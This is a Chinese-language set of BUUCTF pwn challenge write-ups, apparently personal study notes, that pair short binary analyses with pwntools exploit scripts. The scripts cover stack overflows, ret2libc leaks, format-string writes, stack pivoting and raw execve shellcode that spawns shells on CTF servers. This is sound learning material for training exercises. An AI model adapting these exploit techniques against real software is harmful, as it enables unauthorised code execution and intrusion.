以前是照着题解做的,现在重新做一遍,发现存在许多问题。
题型专栏:
(3)PWN题型之栈迁移
程序分析:64位程序,没有开启任何保护。打开IDA,查看一下源代码
程序分析:main函数中只存在system("/bin/sh")函数,所以nc可直接拿到权限。nc(ip + 端口号)
程序分析:64位程序,没有开启任何保护。打开 IDA,查看一下源代码
代码分析:函数很简单,就一个puts函数输出,然后gets函数输入到s当中,用puts函数输出出来。
程序关键:存在gets函数,由于存在两个参数,准确来说是gets_s函数。(具体的请自行百度)
gets_s(buffer,size)函数:从标准输入中读取数据,size表示的最多读取的数量,在这里是argv,没有定义是多大,所以我们就可以无限的输入。但是可以发现buffer就只有0xF字节的大小,输入超过0xF个字节以后,你就会溢出,你会覆盖返回地址。所以如果你先填充字节,然后修改掉返回地址就可以调转到你想要跳转的地方。
存在溢出条件,接下来就是要找后门函数地址了。(为什么/bin/sh在前面,因为64位先传参数,其次找函数的地址就是找system函数以及它的参数)
发现system(“/bin/sh")函数地址,只要我们能控制程序返回到0x40118A,就可以得到系统的shell了
做题思路总结:
利用gets_s函数的不限制输入的多少,先填充字节,然后将返回地址修改为自己想要跳转的地址,即可获得flag。
(5)exp:
# coding: utf-8 #python2.7中文注释
from pwn import * #调用pwntools库
r = remote('node3.buuoj.cn',27542) #远程连接
offset = 0xF + 8 #偏移量
payload = offset * 'a' + p64(0x0040118A) #漏洞利用
r.sendline(payload) #发送漏洞
r.interactive() #远程交互
程序分析 :32位程序,没有开启任何保护。打开 IDA,查看一下源代码。
代码分析:俩个write函数输出,然后sprintf函数利用%p将sub_40060函数地址(其实就是system函数)打印出来放到s里面,然后由write函数打印出来,由于是64位所以write那是9,
很容易发现了 gets函数,显然存在溢出条件,再查看是否存在后门函数。
发现了cat flag,只要我们能控制程序返回到0x000400611,就可以得到flag了。
下面就是找到偏移量,易得为0x40+8
.
这里与 第二题唯一不同 的就是 第二题是 拿到shell,而第三题是 得到一个命令 cat flag。
exp:
# coding: utf-8
from pwn import *
r = remote('node3.buuoj.cn',29469)
offset = 0x40+8
payload = offset*'a' + p64(0x000400611)
r.sendline(payload)
r.interactive()
程序分析:32位程序,只开启了NX保护,然后打开 IDA, 查看一下源代码
代码分析 :首先是一个fgets函数,从文件edata里面打印32个字节的内容到s里面,s可能存储0x3c(60)个字节,没有问题,之后就是一系列的c++语言了,(C++我也没有学,不是很懂)。大概意思就是会将 I 变成 you,这样就20个就等价于20个you这样就有60个字节了,这样就可以造成溢出了
运行 一下 程序,果然如此。
muggle@muggle-virtual-machine:~/CTF-Pwn/BUUCTF/pwn1_sctf_2016(栈溢出,I 变成 you)$ ./pwn
Tell me something about yourself: I I I I I
So, you you you you you
找到溢出条件后就要考虑偏移量和返回地址了
exp:
# coding: utf-8
from pwn import *
r = remote('node3.buuoj.cn',26208)
offset = 20 # fgets最多32位
payload = offset*'I' +'aaaa'+ p32(0x08048F13)
# 20个‘I’ -> 20个 ‘you’ 就会有60个字节,就会覆盖到ebp,然后再加上4字节,覆盖到返回地址。
r.sendline(payload)
r.interactive()
.
.
程序分析 :64位程序,只开启了NX保护 。然后打开IDA,查看一下程序源代码
程序分析:有一个gets函数输入v1的值,但是判断的却是v2是否与11.28125相等,只有相等就直接可以获得权限,所以要想办法绕过。
法一 :可以发现的是存在gets函数,加上本题没有开启canary保护,只要能找到cat flag地址就可以直接栈溢出到返回地址。
法二 :可以发现大小 v1<v2,gets函数 不限制 输入多少,所以它从30一直往下填充到返回地址,所以我们只要向下填充至v2时,然后将v2的内容 改成11.28125 就可以了。注意11.26125要改成16进制,这个在IDA中可以找到。
-0000000000000030 var_30 db ?
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
11.28125的十六进制:
(4)exp(1):
# coding: utf-8
from pwn import *
r = remote('node3.buuoj.cn',29337)
offset = 0x30 + 8
payload = offset*'a' + p64(0x000004006BE ) #直接gets函数溢出,然后修改返回地址
r.sendline(payload)
r.interactive()
exp(2):
# coding: utf-8
from pwn import *
r = remote('node3.buuoj.cn',29337)
offset = 0x30 -0x4
payload = offset*'a' + p64(0x41348000)
#利用gets函数不限制输入多少,先填充v1,然后v2 = 11.28125.
#这里的11.28125要转换成16进制,这个可以在IDA里找到。
r.sendline(payload)
r.interactive()
程序分析:64位程序,只开启了NX保护。打开IDA,查看一下源程序
代码分析 :就一个write函数和rea函数。可以发现read函数(这里buf只有0x80字节,而read需要从buf中读取0x200个字节),存在溢出条件。然后找是否存在后门函数
找到了system,是简单的栈溢出,找到偏移量为0x80+8,然后覆盖返回地址就可以了
exp:
# coding: utf-8
from pwn import *
r = remote('node3.buuoj.cn',26896)
offset = 0x80 + 8
payload = offset*'a' + p64(0x400596)
r.sendline(payload)
r.interactive()
程序分析 :64位程序,只开启了NX保护。打开IDA,查看一下源代码。
首先可以看到,我们只能输入1,输入2会一直在菜单里面循环,而输入其他的数值会直接退出去。打开encrypt函数
存在gets函数,但是它不能直接溢出,因为后面的while循里有s[x] ^= 0xFu系列,这样导致你输入的s的数值发生了变化,你输入的payload就会改变。为了避免执行循环,要在payload最前面加入‘\0’,这和strlen函数有关,strlen函数遇到‘\0’就会停止,这样值为0.,而v0 = x,x为无符号整型大于等于0,所以判断为真就能避免执行while循环。
payload:
offset = 0x50 + 8 - 1
payload1 = ‘\0’+ offset*‘a’ + p64(rdi_addr_ret) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
r.sendline( payload1)
找到溢出条件以后,就是找后门函数了,不存在又开启了nx保护,libc泄露地址。
exp :
from pwn import*
r = remote("node4.buuoj.cn",27306)
#r = process("./pwn")
context(log_level = 'debug')
e = ELF("./pwn")
libc = ELF("./libc-2.27.so")
puts_plt_addr = e.plt["puts"]
puts_got_addr = e.got["puts"]
main_addr = e.symbols["main"]
rdi_addr = 0x0000000000400c83
r.sendline("1")
offset = 0x50 + 8-1
payload = '\0' + offset * 'a' + p64(rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
r.recvuntil("Input your Plaintext to be encrypted\n")
r.sendline(payload)
#puts_addr = u64(r.recv(8))
puts_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print(hex(puts_addr))
base_addr = puts_addr - libc.symbols["puts"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()
ret_addr = 0x4006B9
r.sendline("1")
payload2 = '\0' + offset * 'a' + p64(ret_addr) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(1)
r.recvuntil("Input your Plaintext to be encrypted\n")
r.sendline(payload2)
r.interactive()
程序分析:32位程序,只开启了NX保护。打开IDA,查看源代码
可以发现read函数,从/dev/unandom 目录下的fd文件中读取四字节的内容。(随机数)
接着可以看到三个主要函数,打开第一个没有发现什么,打开第二个71F函数
发现存在read函数,也没有达到溢出条件,存在strncmp函数,两者进行比较,由于一个是随机生成的数组,那必然不会相等,而只要不是0就会执行if,然后就会退出程序。所有就要么修改随机数值要么就让比较的字符串为0(第三个参数值为0)。
而在此之前,我们能做的就是输入buf的内容,根据strlen函数的性质,buf只要最开始输入的就是’\0’就会直接退出去,这样v1就为0,就不会进行strcmp比较。
然后就是返回值是buf[7] = v2,然后作为参数传给_7D0函数,再看第三个函数
又是两个read函数,第一个read明显可能不可能溢出。但是第二个却是有可能:因为a1是参数是由v2传进来的,而v2等于上一个函数的返回值,即a1 = v2 = buf[7],而buf是由我们写入的。只要buf第八个数值足够大就可以使得read函数溢出。
构造payload:
payload1 = '\x00' + 'a'*6 + '\xFF'
目的:前面防止执行函数2的if执行,后者覆盖造成函数3的第二个read函数溢出
找到了溢出条件,接下来就是找后门地址了。可以发现不存在。而且开启了NX保护,这就要使用libc泄露system·函数了
不懂libc有关题可以去看我的:https://blog.csdn.net/qq_51032807/article/details/114808339。写的不咋地,但希望有点用
exp :
from pwn import *
r = remote("node4.buuoj.cn",29036)
#r = process("./pwn")
libc = ELF('./libc-2.23.so')
e = ELF("./pwn")
context(log_level = 'debug')
write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
sub_080487D0 = 0x080487D0
payload1 = '\0' + 'a'*6 + '\xff'
r.sendline(payload1)
offset = 0xE7 + 4
payload2 = offset*'a' + p32(write_plt_addr) + p32(sub_080487D0) + p32(1) + p32(write_got_addr) + p32(4)
r.recvuntil("Correct\n")
r.sendline(payload2)
write_addr = u32(r.recv(4))
print(hex(write_addr))
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
binsh_addr = base_addr + libc.search('/bin/sh').next()
payload3 = offset * 'A' + p32(system_addr) + p32(1) + p32(binsh_addr)
`
r.sendline(payload3)
r.interactive()
程序分析:32位程序,开启了canary保护和NX保护。打开IDA,查看一下源代码
存在格式化字符串漏洞,利用它任意写的特点。将随机数改成一个常数,然后输入这个常数就能获得flag了。
做这种题首先是要确定格式化字符串的位置
muggle@muggle-virtual-machine:~/CTF-Pwn/BUUCTF/[第五空间2019 决赛]PWN5$ ./pwn
your name:aaaa -%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Hello,aaaa -0xff947738-0x63-(nil)-0xf7f0da9c-0x3-0xf7ee0410-0x1-(nil)-0x1-0x61616161-0x70252d20-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70
可以发现格式化字符串在第十个
exp :
from pwn import*
r = remote('node3.buuoj.cn',26019)
#r = process("./pwn")
addr = 0x804c044
payload = p32(addr) + p32(addr+1) + p32(addr+2) + p32(addr+3) + '%10$n%11$n%12$n%13$n'
r.recvuntil("your name:")
r.sendline(payload)
r.recvuntil("your passwd:")
r.sendline(str(0x10101010))
r.interactive()
程序分析:32位程序,开启了NX保护。打开IDA,查看一下源代码
存在gets函数 存在溢出条件,但是gets函数里面一大串内容,那必然没有那么简单,函数很乱没看懂。于是先暂时不管它
后面本地调试发现可以通过而远程连接却不行。有大佬说是:由于这题没有出现setbuf(stdin,0),所以本题的输出是缓存在服务器本地的,换句话说:如果程序不正常退出,本题是不会回显flag的。
存在溢出条件,接下来就是寻找后门函数了
存在“flag.txt”文件,并且后门的是rt
所以只要先溢出,然后修改返回值跳到该函数,修改两个参数a1和a2,就可以活得flag了,而远程的话需要添加一个exit地址强制退出程序。
exp :
from pwn import *
r = remote("node3.buuoj.cn",28191)
#r = process("./pwn")
offset = 0x38
exit_addr = 0x0804E6A0
flag_addr = 0x080489A0
a1 = 814536271
a2 = 425138641
payload = offset*'a' + p32(flag_addr) + p32(exit_addr) + p32(a1) + p32(a2)
r.sendline(payload)
r.interactive()
注意:一般我们都是直接用ida里面的偏移量,但是有时候这个是错的,所以需要我们用gdb来查看。我用的是peda插件(里面的偏移量是达到ret的):
这道题和 第七题的ciscn_2019_c_1 一模一样,直接cv脚本就可以了。
程序分析:32位程序,开启了NX和canary保护。打开IDA,查看一下源代码
首先就发现了system(/bin/sh)函数,看看条件:只有var【13】 = 17就可以了。而看前面的scanf就可以向var数组输入。我们只要将var这个数组里全部填上17即可。至于后面的两个参数我觉得应该是ida编译问题。
exp:
from pwn import *
#r = process("./pwn")
r = remote("node3.buuoj.cn",27763)
payload = p32(17)*14
r.sendline(payload)
r.interactive()
程序分析:32位程序,开启了NX保护,打开 IDA, 查看一下源代码
发现存在read函数,存在溢出。又看到了system函数,但是缺少/bin/sh参数,寻找是否存在。
找到了system函数,/bin/sh参数,以及溢出条件。明显栈溢出
exp :
from pwn import *
#r = process("./pwn")
r = remote("node3.buuoj.cn",28984)
offset = 0x88 + 4
binsh_addr = 0x0804A024
system_addr = 0x0804845C
payload = offset*'a' + p32(system_addr) + p32(binsh_addr)
r.sendline(payload)
r.interactive()
程序分析:32位程序,开启了NX保护,打开 IDA, 查看一下源代码
可以发现gets函数,明显存在溢出条件。但是打开gets函数里面很复杂(感觉不简单)。再查看一下后门函数
可以发现和get_started_3dsctf_2016类似,差别就是这道题没有读取文件的命令所以需要你用write函数将这个文件打印出来。
from pwn import *
r = remote("node3.buuoj.cn",26387)
#r = process("./pwn")
offset = 0x2D
get_flag_addr = 0x080489A0
write_addr = 0x0806E270
eixt_addr = 0x0804E660
flag_addr = 0x080BC2A8
payload = offset*'a' + p32(get_flag_addr) + p32(write_addr) + p32(eixt_addr)+ p32(1) + p32(flag_addr) + p32(0x100)
r.sendline(payload)
r.interactive()
exp分析:
payload = offset*‘a’ + p32(get_flag_addr) + p32(write_addr) + p32(eixt_addr)+ p32(1) + p32(flag_addr) + p32(0x100)
先填充完字节后跳到get_secret函数里面(里面有flag文件)。然后用write函数读取flag文件(因为他只是一个文件,没有cat读取)。然后exit函数(因为这道题没有setbuf(stdin,0),所以本题的输出是缓存在服务器本地的,即程序不能正常退出)。接下来就是write函数的三个参数。第二个为要读取内容。
程序分析:64位程序,开启了NX保护,打开 IDA, 查看一下源代码
首先scanf输入nbytes的值,然后再是输入read函数,而scanf输入的正好是read的第三个参数。只要输入大于0x10+8就能覆盖返回地址了。找到溢出条件。
在backdoor函数里面存在system函数。找到溢出条件,system函数,构造exp
exp :
from pwn import *
#r = process("./pwn")
r = remote("node3.buuoj.cn",27749)
r.recvuntil("[+]Please input the length of your name:\n")
r.sendline('100')
offset = 0x10 + 8
system_addr = 0x004006E6
payload = offset*'a' + p64(system_addr)
r.recvuntil("[+]What's u name?\n")
r.sendline(payload)
r.interactive()
程序分析:64位程序,开启了NX保护,打开 IDA, 查看一下源代码
只有一个scanf输入v4的值,scanf不限制输入,再查看字符串,看看是否存在后门函数地址。
发现了system函数和字符串/bin/sh
payload:
利用gadget传入字符串并调用system函数(即利用ret指令,进行各种调转,由于这是64位先进行寄存器传参,再是binsh参数,最后才是sytem函数地址,还可以加一个预留返回地址)
payload = offset * ‘a’ + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr)
exp :
from pwn import *
#r = remote("node4.buuoj.cn",25202)
r = process("./pwn")
system_addr = 0x000400490
binsh_addr = 0x0000601048
rdi_addr = 0x0000000000400683
offset = 0x10 + 8
payload = offset * 'a' + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr)
r.recvuntil("? ")
r.sendline(payload)
r.interactive()
不过到现在还是不知道为啥本地跑不通,远程可以跑通。
程序分析:64位程序,开启了NX保护,打开 IDA, 查看一下源代码
显然可以发现system函数,但是没有/bin/sh 参数,存在read函数,明显溢出了,然后找找是否存在/bin/sh参数
存system(/bin/sh),溢出条件,没有开启canary保护。直接溢出覆盖返回地址。但是这是64位,与32位存在差别。64位的传参顺序不同
exp :
from pwn import *
#r = process("./pwn")
r = remote("node3.buuoj.cn",26005)
offset = 0x80 + 8
binsh_addr = 0x600A90
system_addr = 0x4004c0
payload = offset*'a' + p64(0x4006b3) + p64(binsh_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()
程序分析:64位程序,没有开启任何保护,打开 IDA, 查看伪代码
代码分析:存在read函数输出你的名字,存在gets函数明显栈溢出。shift + f12查看是否存在后门函数
没有system函数,由于这道题没有开启NX保护,
1.可以直接构造shellcode(与system函数作用类似)。shellcode = asm(shellcraft.sh()光构造出来了还不行,需要你存放在一个地址上。而前面你需要输入你的名字,而name的地址在bss段,永远不会变,即输入name时将构造的shellcode存放里面
2.直接利用libc泄露system函数,不过这道题没有开启NX保护,这样写倒是麻烦了一些。
exp :
# coding: utf-8
from pwn import *
context(arch = "amd64",os = "linux")
#r = process("./pwn")
r = remote("node3.buuoj.cn",25342)
shellcode = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
#由于我的shellcode用不了,所以是自己编写的,作用与shellcode = asm(shellcraft.sh())一样
r.recvuntil("tell me your name")
r.sendline(shellcode) #讲shellcode放在name函数的地址上
offset = 0x20 + 8 #text函数的偏移量
payload = offset*'a' + p64(0x601080)
r.recvuntil("What do you want to say to me?")
r.sendline(payload)
r.interactive()
程序分析:32位程序,开启了NX保护,打开 IDA, 查看一下源代码
可以发现在main处按f5无法打开反汇编。这样的话你多点击一下其他函数,然后f5就可以看了
首先可以看到第一个scanf要输入administrator,否则就会直接退出。
然后又是一个scanf函数输入,这下面有五种case,一一打开case里面的函数。可以发现重点是1和4。
在case1函数下面存在scanf函数,根据 AddLog((int)src);
可知传入的参数为scr,a1 = src。避免混淆你可以按n将a1改为src。在这里你可以写入scr的内容
接着打开GetFlag函数,可以发现存在strcpy函数。
根据前面可知:src的大小和内容其实是由我们自己控制的,这样的话只要我们输入的字符串够大(大于0x48+4)就会造成strcpy函数溢出。所以直接在1里面构造payload
整合起来其实就是输入src,然后造成strcpy函数溢出
注意 :break只是结束当前的一次循环,所以case1以后只会结束switch循环,不会结束while循环,而while(1)一直成立,所以它会继续让你选择case,但是你修改返回地址以后就停止了。
找到溢出条件以后,找后门地址。
muggle@muggle-virtual-machine:~/CTF-Pwn/other$ ROPgadget --binary ./pwn --string "sh"
Strings information
============================================================
0x080482ea : sh
exp :
from pwn import *
#r = process("./pwn")
r = remote("node3.buuoj.cn",27773)
r.recvuntil("Please input admin password:")
r.sendline("administrator")
r.recvuntil("0.Exit\n:")
r.sendline("1")
offset = 0x48 + 4
system_addr = 0x080486B9
sh_addr = 0x080482ea
payload = offset*'a' + p32(system_addr) + p32(sh_addr)
r.recvuntil("Please input new log info:")
r.sendline(payload)
r.recvuntil("0.Exit\n:")
r.sendline("4")
r.interactive()
程序分析:32位程序,开启了NX保护,打开 IDA, 查看一下源代码
存在read函数溢出,接下来查看是否存在后门地址
没有发现,由于开启了NX保护,这是一道基本的libc题
from pwn import *
#r = process("./pwn")
r = remote("node3.buuoj.cn",27639)
e = ELF("./pwn")
write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
read_got_addr = e.got["read"]
main_addr = e.symbols["main"]
offset = 0x88 + 4
payload1 = offset*'a' + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
#r.recvuntil()
r.sendline(payload1)
write_addr = u32(r.recv(4))
print(hex(write_addr))
write_offset = 0x0e56f0
system_offset = 0x03cd10
binsh_offset = 0x17b8cf
base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
payload2 = offset*'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
#r.recvuntil()
r.sendline(payload2)
r.interactive()
程序分析:32位程序,开启了NX保护,打开 IDA, 查看一下源代码
存在execve,11,int 80h等字眼,感觉就像是系统调用system函数。
查看一下汇编代码,果然是这样,既然直接调用了system函数,那么直接nc就可以获得flag了。不过由于使用汇编语言写的,可能就没那么容易理解了。
程序分析:64位程序,开启了NX保护,打开 IDA, 查看一下源代码
在vuln函数里面存在read函数,存在溢出条件,然后找是否存在后门地址
没有存在system函数,由于开了了NX保护,使用libc泄露
exp :
from pwn import *
r = remote("node4.buuoj.cn",25560)
#r = process("./pwn")
e = ELF("./pwn")
libc = ELF("./libc-2.23.so")
context(log_level = 'debug')
puts_plt_addr = e.plt["puts"]
puts_got_addr = e.got["puts"]
main_addr = e.symbols["main"]
rdi_addr = 0x0000000000400733
offset = 0x20 + 8
payload1 = offset * 'a' + p64(rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
r.recvuntil("Pull up your sword and tell me u story!\n")
r.sendline(payload1)
puts_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print(hex(puts_addr))
base_addr = puts_addr - libc.symbols["puts"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()
payload2 = offset*'a' + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(1)
r.sendline(payload2)
r.interactive()
程序分析:32位程序,开启了NX保护,打开 IDA, 查看一下源代码
代码分析:首先get_n函数输入nptr的值,四个字节,然后atoi将nptr转换为整数型,不过输入的整数不能大于32,不然就会强制退出,然后又是get函数输入,大小是v2,而nptr只能存储0x2C个字节。v2是由我们自己输入的,那是不是可以将v2大小写大一点,然后后一个get函数溢出呢?但是考虑到v2最大只能是32又不行,这个时候就要考虑atoi函数了。
这个函数的作用大概就是把最前面的数字截取出来,如果最开始是字符则返回值直接为0,如果是数字的话则返回该数字,返回值为整数型,说明可以是为负数。这样的话由于在get函数里面会强制转换成正数,主要我们只要输入一个负数,它既满足大小小于32,又能导致后一个get函数溢出。
通过运行一下程序看看是不是会强制转换:
muggle@muggle-virtual-machine:~/CTF-Pwn/other$ ./pwn
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!
^Z
[53]+ 已停止 ./pwn
muggle@muggle-virtual-machine:~/CTF-Pwn/other$ ./pwn
How many bytes do you want me to read? aaaa
Ok, sounds good. Give me 0 bytes of data!
aa
You said:
muggle@muggle-virtual-machine:~/CTF-Pwn/other$ ./pwn
How many bytes do you want me to read? 1234
No! That size (1234) is too large!
muggle@muggle-virtual-machine:~/CTF-Pwn/other$ ./pwn
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!
果然-1会变成4294967295,找到了溢出条。接下来我们寻找发现不存在system函数。需要利用libc泄露system地址了。
exp :
from pwn import *
r = remote("node4.buuoj.cn",28604)
#r = process("./pwn")
e = ELF("./pwn")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("./libc-2.23.so")
context(log_level = 'debug')
printf_plt_addr = e.plt["printf"]
printf_got_addr = e.got["printf"]
main_addr = e.symbols["main"]
format_addr = 0x080486F8
r.recvuntil("How many bytes do you want me to read? ")
r.sendline("-1")
offset = 0x2C + 4
payload = offset * 'a' + p32(printf_plt_addr) + p32(main_addr) + p32(format_addr) + p32(printf_got_addr)
r.recvuntil("of data!\n")
r.sendline(payload)
printf_addr = u32(r.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
print(hex(printf_addr))
base_addr = printf_addr - libc.symbols["printf"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()
r.recvuntil("How many bytes do you want me to read? ")
r.sendline("-1")
payload1 = offset * 'a' + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
r.recvuntil("bytes of data!\n")
r.sendline(payload1)
r.interactive()
注意点:
1.由于这里没有write,puts函数,所以我用的是printf函数泄露,而printf函数的第一个参数格式化字符串,所以需要找到一个带有%s的地址。
payload = offset * ‘a’ + p32(printf_plt_addr) + p32(main_addr) + p32(format_addr) + p32(printf_got_addr)
2.由于recv接收的时候并不是最开始的四个字节,所以需要改写接收方式。这个是我自己调试试出来的,需要接受四个字节,可能会有其他简写方法。
printf_addr = u32(r.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
程序分析:32位程序,开启了NX保护,打开 IDA, 查看一下源代码
可以明显的看到格式化字符串漏洞,并且当x等于4时就可以获得权限。所以这道题的思路就是利用格式化字符串漏洞的任意写功能修改x的值为4。
exp:
from pwn import *
r = remote("node4.buuoj.cn",25852)
#r = process("./pwn")
addr = 0x0804A02C
payload1 = fmtstr_payload(11,{
addr:0x4}
#payload1 = p32(addr) + '%11$hhn'
r.sendline(payload1)
r.sendline("cat ./flag")
r.interactive()
程序分析:32位程序,开启了NX保护,打开 IDA, 查看一下伪代码
可以发现存在read函数溢出,查看是否存在后门函数。发现并不存在,利用libc泄露system函数地址。
exp:
from pwn import *
#r = process("./pwn")
r = remote("node4.buuoj.cn",26272)
libc = ELF("./libc-2.23.so")
e = ELF("./pwn")
context(arch = 'i386',os = 'linux',log_level = 'debug')
write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
offset = 0x88 + 4
payload1 = offset*'a' + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
r.recvuntil("Input:\n")
r.sendline(payload1)
write_addr = u32(r.recv(4))
print(hex(write_addr))
base_addr = write_addr - libc.symbols["write"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()
payload2 = offset*'a' + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
r.recvuntil("Input:\n")
r.sendline(payload2)
r.interactive()
程序分析:64位程序,开启了NX保护,打开 IDA, 查看一下源代码
存在read函数溢出,再查看是否存在后门地址。没有发现system函数,利用libc泄露system函数了
注意:
(1)这里是用printf来打印泄露read函数的真正地址,这里泄露printf函数是不行的。printf泄露的话要注意第一个是格式化字符串,所以你首先须要在ida里面找到一个带有%s格式化字符串的地址。
(2)找某个文件名的方法
find -name “flag”
exp:
from pwn import *
#r = process("./pwn")
r = remote("node4.buuoj.cn",25038)
e = ELF("./pwn")
libc = ELF("./libc.so.6")
context(log_level = 'debug')
printf_plt_addr = e.plt["printf"]
read_got_addr = e.got["read"]
main_addr = e.symbols["main"]
format_addr = 0x0000000000400770
rdi_ret_addr = 0x0000000000400733
rsi_r15_ret_addr = 0x0000000000400731
offset = 0x20 + 8
payload1 = offset*'a' + p64(rdi_ret_addr) + p64(format_addr) + p64(rsi_r15_ret_addr) + p64(read_got_addr) + p64(1) + p64(printf_plt_addr) + p64(main_addr)
r.recvuntil("What's your name? ")
r.sendline(payload1)
read_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
print(hex(read_addr))
#pause()
base_addr = read_addr - libc.symbols["read"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()
payload2 = offset*'a' + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr) + p64(1)
r.recvuntil("What's your name? ")
r.sendline(payload2)
#r.sendline("cat flag")
r.interactive()
详细请看 : 栈迁移
程序分析:32位程序,开启了NX保护,打开 IDA, 查看一下源代码
可以发现read函数构成溢出条件,但是其大小只能刚刚好覆盖返回地址。只于后面的参数之类的地址却缺少了空间。
对于这种情况,师傅们采用了栈迁移的方法,类似扩充大小。将剩下未写入的放在其他空间中。具体的请自行百度(毕竟我还不是完全弄懂)
接下来就是找后门函数,可以发现这题没有。所以用libc泄露system函数地址。
exp :
from pwn import *
r = remote('node3.buuoj.cn',28163)
#r = process('./pwn')
e = ELF('./pwn')
context.arch = e.arch
context(log_level = 'debug')
write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
bss_addr = 0x0804A300
leave_ret_addr = 0x08048408
payload1 = p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
r.recvuntil("name?")
r.sendline(payload1)
offset = 0x18
payload2 = 'a'*offset + p32(bss_addr - 4) + p32(leave_ret_addr)
r.recvuntil("say?")
r.sendline(payload2)
write_addr = u32(r.recv(4))
print(hex(write_addr))
write_offset = 0x000D43C0
system_offset = 0x0003A940
binsh_offset = 0x0015902b
base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
r.recvuntil("name?")
payload3 = p32(system_addr) + p32(1) + p32(binsh_addr)
r.sendline(payload3)
r.recvuntil("say?")
r.sendline(payload2)
r.interactive()
程序分析:64位程序,开启了NX保护,然后打开 IDA, 查看一下源代码
存在溢出条件(read函数溢出),查看是否存在后后门地址
在good_game里面存在flag.txt。找到溢出条件和后门地址以后就可以写exp了。不过这道题的偏移量在IDA里面是错误的。需要在gdb里面找了,这个可以看https://blog.csdn.net/m0_38100569/article/details/99658451
gdb-peda$ pattern offset AAQA
AAQA found at offset: 136
exp:
from pwn import *
#r = process("./pwn")
r = remote('node3.buuoj.cn',29755)
offset = 136
payload = offset*'a' + p64(0x400620)
r.recvuntil("Input your message:\n")
r.sendline(payload)
r.interactive()
程序分析:64位程序,开启了NX保护,然后打开 IDA, 查看一下源代码
可以发现这里存在数据强行转换。只要你输入一个负数,unsigned int就会强行转换成正数。而前面是signed不会转换,不会执行if。
不过这里需要注意的是:远程可以跑通,但是本地跑不通
from pwn import *
#r = process("./pwn")
r = remote('node3.buuoj.cn',25509)
r.recvuntil("Please input the length of your name:\n")
r.sendline('-1')
offset = 0x10 + 8
backdoor_addr = 0x0400726
payload = offset*'a' + p64(backdoor_addr)
r.recvuntil("What's u name?")
r.sendline(payload)
r.interactive()
程序分析:32位程序,开启了NX保护,然后打开 IDA, 查看一下源代码
